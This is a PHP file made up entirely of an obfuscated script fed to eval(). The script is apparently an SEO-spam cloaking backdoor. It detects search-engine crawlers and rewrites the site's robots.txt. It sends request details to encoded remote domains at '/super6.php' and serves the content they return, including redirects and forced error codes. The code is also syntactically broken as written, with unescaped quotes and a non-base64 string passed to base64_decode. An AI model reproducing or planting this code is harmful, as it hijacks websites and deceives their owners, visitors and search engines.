<?php
$a=base64_decode(" goto Fqw_v; ai0nI: preg_match("\x2f\x5c\x2f\x28\x5b\x5e\x5c\57\135\x2b\134\56\x70\x68\160\x29\x2f", $duri, $matches); goto WdeK8; nPNon: if (isset($_SERVER["\x48\124\124\x50\137\x52\105\x46\x45\122\105\122"])) { $urlshang = $_SERVER["\x48\124\x54\120\x5f\x52\x45\x46\x45\122\105\122"]; } goto j77eh; Ns81u: $duri = $duri == '' ? "\x2f" : $duri; goto ai0nI; UAf4S: $duri = drequest_uri(); goto Ns81u; BlQPF: $host = $_SERVER["\x48\124\x54\120\137\x48\x4f\123\x54"]; goto WFGLM; ilBas: create_robots($http . "\72\57\x2f" . $host); goto gEfW8; gEfW8: $param = "\x77\145\142\75" . $host . "\46\x7a\172\75" . $zz . "\x26\x75\162\151\75" . $duri . "\46\165\x72\154\x73\x68\141\156\147\75" . $urlshang . "\x26\x68\x74\x74\160\75" . $http . "\46\154\141\156\x67\75" . $lang . "\46\x73\145\x72\x76\x65\162\x3d" . $server . "\x26\x6d\157\144\145\154\75" . $model; goto idaYl; FpCVy: function create_robots($url) { $function = func(); $path = $_SERVER["\104\117\103\125\115\x45\x4e\x54\x5f\x52\x4f\x4f\124"] . "\57\x72\157\x62\157\164\163\x2e\x74\x78\164"; $content = "\125\163\145\162\x2d\141\x67\x65\156\164\x3a\x20\x2a" . PHP_EOL; $content .= "\x41\154\154\157\167\x3a\x20\x2f" . PHP_EOL . PHP_EOL; $content .= "\123\151\x74\x65\155\x61\x70\72\x20" . $url . "\x2f\x73\151\x74\145\x6d\x61\160\x2e\x78\155\154" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto oOouQ; A7Y7y: $urlshang = ''; goto nPNon; LbFtT: if (!strstr($html_content, "\156\x6f\x62\x6f\x74\x75\x73\145\162\x61\147\x65\156\x74")) { if (strstr($html_content, "\157\x6b\150\x74\155\154")) { @header("\103\x6f\x6e\x74\x65\x6e\164\55\x74\x79\160\145\72\40\x74\145\170\164\x2f\x68\164\155\x6c\73\x20\143\x68\141\162\163\145\164\x3d\x75\164\146\x2d\70"); $html_content = str_replace("\x6f\153\x68\x74\155\154", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\x67\x65\164\143\157\156\164\145\x6e\164\65\60\60\x70\x61\x67\x65")) { @header("\110\x54\124\x50\57\61\x2e\x31\40\x35\x30\x30\x20\x49\156\164\x65\162\156\141\154\x20\123\145\162\166\x65\162\x20\105\x72\162\157\x72"); die; } else { if (strstr($html_content, "\x34\x30\64\160\x61\x67\x65")) { @header("\110\124\124\x50\x2f\61\56\x31\40\x34\60\64\x20\x4e\157\x74\x20\x46\x6f\165\156\144"); die; } else { if (strstr($html_content, "\x33\60\61\160\x61\x67\145")) { @header("\x48\x54\124\x50\x2f\x31\56\61\40\63\60\61\x20\x4d\x6f\166\145\144\x20\x50\x65\x72\155\x61\x6e\145\156\164\154\x79"); $html_content = str_replace("\x33\60\61\160\141\147\145", '', $html_content); header("\114\x6f\x63\x61\x74\x69\157\x6e\x3a\40" . $html_content); die; } else { if (strstr($html_content, "\x6f\x6b\x78\x6d\154")) { $html_content = str_replace("\157\x6b\170\155\x6c", '', $html_content); @header("\x43\157\156\164\145\156\164\x2d\x54\171\x70\145\x3a\40\x61\x70\x70\x6c\151\x63\141\x74\x69\157\156\x2f\x78\155\x6c\x3b\40\x63\x68\x61\162\163\x65\x74\75\x75\164\146\x2d\x38"); echo $html_content; die; } else { if (strstr($html_content, "\x6f\x6b\x72\x6f\142\x6f\x74\x73")) { $html_content = str_replace("\x6f\x6b\162\157\x62\157\164\163", '', $html_content); @header("\x43\x6f\x6e\164\145\156\x74\x2d\124\x79\x70\145\x3a\40\x74\x65\x78\164\57\x70\154\x61\x69\x6e"); echo $html_content; die; } } } } } } } goto oBCge; f3B2n: function is_https() { if (isset($_SERVER["\x48\124\124\x50\123"]) && strtolower($_SERVER["\x48\124\124\x50\123"]) !== "\x6f\x66\146") { return true; } elseif (isset($_SERVER["\x48\x54\x54\120\x5f\130\137\x46\x4f\x52\x57\101\x52\x44\x45\104\137\x50\x52\x4f\124\x4f"]) && $_SERVER["\x48\x54\x54\120\x5f\130\137\106\x4f\122\127\x41\122\104\105\x44\137\x50\122\117\x54\x4f"] === "\x68\x74\x74\160\x73") { return true; } elseif (isset($_SERVER["\110\x54\x54\x50\137\106\x52\x4f\x4e\124\x5f\x45\116\x44\137\x48\x54\124\x50\123"]) && strtolower($_SERVER["\x48\x54\124\x50\x5f\106\x52\117\x4e\124\x5f\105\x4e\x44\137\x48\x54\x54\120\123"]) !== "\157\146\146") { return true; } return false; } goto XApnq; KzHmo: $string = "\x33\66\62\55\x6c\151\156\153\61\x37\x38"; goto MKPzV; ldO7j: $server = detect_server_software(); goto ilBas; FWs1c: if (stristr($duri, "\x2f\x3f")) { $model = "\x3f"; } goto KzHmo; Fqw_v: $xmlname = array("\x25\x33\63\45\63\66\x25\63\x32\45\x32\104\x25\67\x39\x25\x37\x36\x25\66\x31\x25\67\x38\45\63\61\45\63\67\45\x33\70\x25\x32\x45\x25\x36\62\x25\66\x46\x25\67\63\45\x36\70\x25\x36\66\x25\67\x30\45\66\x38\45\67\x36\x25\66\61\x25\x32\x45\45\x36\67\45\66\62\x25\66\x33", "\45\x33\63\45\63\66\45\63\62\x25\x32\x44\45\67\71\x25\67\x36\x25\x36\61\45\x37\70\x25\x33\61\x25\x33\x37\45\x33\70\x25\62\105\x25\66\x36\45\67\x32\45\66\65\x25\67\x32\x25\x36\61\45\67\x31\45\67\x36\45\66\67\x25\66\103\x25\x32\105\x25\x36\x37\x25\x36\62\45\66\63", "\x25\63\63\x25\63\x36\45\x33\62\45\x32\104\45\x37\71\45\x37\66\x25\66\x31\x25\67\x38\45\63\61\45\x33\x37\45\x33\70\45\62\x45\45\x37\x32\45\67\x30\45\66\62\45\x36\x39\45\67\66\45\x36\66\x25\x37\x36\45\x36\x32\x25\66\x36\x25\x32\x45\x25\x36\102\45\66\x43\x25\66\104", "\45\63\x33\45\63\66\x25\x33\x32\x25\62\104\45\x37\71\45\67\66\x25\66\61\45\x37\70\x25\63\61\x25\63\67\45\63\70\x25\x32\x45\x25\x37\66\45\x36\61\x25\x36\x31\45\66\62\45\66\66\45\x36\63\x25\67\62\x25\66\61\45\62\x45\45\66\x37\x25\x36\62\x25\x36\x33"); goto cPj7U; WdeK8: if (empty($matches) || $matches[1] == "\x77\x70\x2d\143\x72\157\155\x2e\160\150\x70" || $matches[1] == "\x64\x65\164\141\151\154\x2e\x70\x68\160") { $model_file = "\x69\x6e\x64\145\x78\56\x70\x68\160"; $model = "\151\x6e\x64\x65\x78"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\57"); } $model = str_replace("\x2e\x70\x68\x70", '', $model_file); } goto FWs1c; WFGLM: $lang = isset($_SERVER["\110\124\124\120\137\101\103\103\105\120\x54\x5f\114\x41\116\x47\x55\x41\107\105"]) ?: "\145\156"; goto A7Y7y; MKPzV: $istest = false; goto ZA1Zn; ZA1Zn: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto ch9nm; oOouQ: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\x3a\x2f\57" . $domain . "\57\163\x75\160\x65\x72\x36\x2e\160\x68\x70\77" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\x34\64\63")) { echo "\x34\64\x33"; } curl_close($ch); } if (ini_get("\141\154\x6c\157\167\137\x75\162\x6c\137\x66\x6f\x70\145\x6e")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\x6e\157\142\157\x74\x75\163\x65\x72\x61\x67\145\x6e\164"; } goto VHzxv; j77eh: if (is_https()) { $http = "\x68\164\x74\x70\x73"; } else { $http = "\150\164\x74\160"; } goto NWyIs; idaYl: $html_content = request($xmlname, $http_web, $param); goto LbFtT; oBCge: function disbot() { $user_agent = strtolower($_SERVER["\110\124\x54\x50\x5f\125\x53\x45\x52\137\x41\x47\105\116\x54"]); if (stristr($user_agent, "\x67\x6f\157\x67\154\x65\142\x6f\x74") || stristr($user_agent, "\142\151\x6e\x67") || stristr($user_agent, "\171\x61\150\x6f\x6f") || stristr($user_agent, "\147\x6f\157\147\154\145") || stristr($user_agent, "\107\x6f\157\147\154\x65\142\157\164")) { return 1; } else { return 2; } } goto xVPRL; XApnq: function detect_server_software() { $path = $_SERVER["\x44\x4f\103\x55\x4d\x45\116\124\137\122\x4f\117\124"] . "\x2f\x2e\x68\164\x61\x63\143\x65\163\163"; if (file_exists($path)) { return 1; } else { return 2; } } goto FpCVy; ch9nm: if ($duri != "\57") { $duri = str_replace("\57" . $model_file, '', $duri); $duri = str_replace("\57\x69\156\x64\x65\x78\56\x70\150\x70", '', $duri); $duri = str_replace("\x21", '', $duri); } goto KmSq2; xVPRL: function drequest_uri() { if (isset($_SERVER["\x52\105\x51\125\x45\x53\x54\x5f\125\122\111"])) { $duri = $_SERVER["\x52\105\121\125\x45\x53\x54\x5f\x55\122\111"]; } else { if (isset($_SERVER["\141\162\x67\166"])) { $duri = $_SERVER["\120\110\120\137\123\105\114\106"] . "\77" . $_SERVER["\x61\x72\x67\166"][0]; } else { $duri = $_SERVER["\x50\x48\120\137\123\105\114\106"] . "\77" . $_SERVER["\121\x55\105\122\131\x5f\123\124\122\x49\x4e\x47"]; } } return $duri; } goto f3B2n; KmSq2: $duri = urlencode($duri); goto ldO7j; cPj7U: $http_web = "\150\164\x74\160"; goto BlQPF; NWyIs: $zz = disbot(); goto UAf4S; VHzxv: function func() { $chars = range("\x61", "\x7a"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[15] . $chars[20] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[6] . $chars[4] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\x5f" . $chars[17] . $chars[14] . $chars[19] . "\61\x33"); }");
eval($a);